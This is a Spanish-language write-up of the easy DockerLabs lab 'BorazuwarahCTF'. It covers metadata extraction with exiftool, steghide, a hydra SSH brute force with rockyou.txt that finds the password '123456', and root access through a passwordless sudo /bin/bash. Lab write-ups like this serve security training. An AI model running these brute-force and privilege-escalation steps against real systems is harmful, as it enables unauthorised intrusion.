> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/borazuwarahctf.md).

# 🟦 BorazuwarahCTF

🧠Dificultad: Muy Fácil | 🔓22/07/2025

La máquina está corriendo un servicio web. Esto lo he comprobado introduciendo la IP en el navegador. Nos encontramos con una foto de un huevo kinder.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F23aL6HgpXNlpiXx8NWFa%2FPasted%20image%2020250622010559.png?alt=media&amp;token=473dfe17-4f7a-4b91-b32c-e1b73f7c80ea" alt="" width="251"><figcaption></figcaption></figure></div>

Antes de comprobar directorios ocultos, creo que la imagen nos puede decir algo, así que procedo a descargarme la imagen para analizarla. Si usamos el comando `exiftool` podemos ver los metadatos de la imagen:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F1PCJKZFlqwNZaQ0YCZsy%2FPasted%20image%2020250622010836.png?alt=media&amp;token=fe9a6c17-e0cb-485a-b6a8-c9b9f34a75d9" alt=""><figcaption></figcaption></figure>

En el campo `description` encontramos un usuario: **`borazuwarah`**. Sobre la contraseña no nos dice nada. Puede que haya un archivo oculto en su interior, ya que en los metadatos de la imagen aparece el propio programa `exiftool` utilizado para esconder imágenes y metadatos ocultos. Vamos a comprobar si la imagen tiene información oculta, para ello utilizo el comando `steghide extract -sf imagen.jpeg` y vemos si hay suerte.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FtOTdDYkOCSg9cddb3gQB%2FPasted%20image%2020250622011152.png?alt=media&amp;token=f85e0631-bcc0-406e-86ad-017c04bf656a" alt=""><figcaption></figcaption></figure></div>

Efectivamente había un fichero oculto, pero no nos ha valido para nada. Nos indica que la pista está dentro de la imagen, por lo que creo que se refiere a lo que ya hemos encontrado anteriormente. He supuesto que este usuario se puede utilizar para acceder por SSH a la máquina, por lo que si no tenemos más información, podemos intentar hacerle un ataque de fuerza bruta al SSH para el usuario encontrado.

```bash
hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://$IPTARGET
```

```bash
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: borazuwarah   password: 123456
1 of 1 target successfully completed, 1 valid password found
```

Una vez entramos por ssh a la máquina, ejecutamos el comando `sudo -l` para ver los permisos que tenemos como sudoer.

```bash
sudo -l
```

```
Matching Defaults entries for borazuwarah on 7eec632a86c9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on 7eec632a86c9:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
```

Podemos correr el ejecutable `/bin/bash` con sudo sin necesidad de contraseña.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FElc3ywWQW9WbNH2gagIT%2FPasted%20image%2020250722015209.png?alt=media&amp;token=3cbbaa2d-7496-4c61-960a-21943568f24e" alt=""><figcaption></figcaption></figure></div>
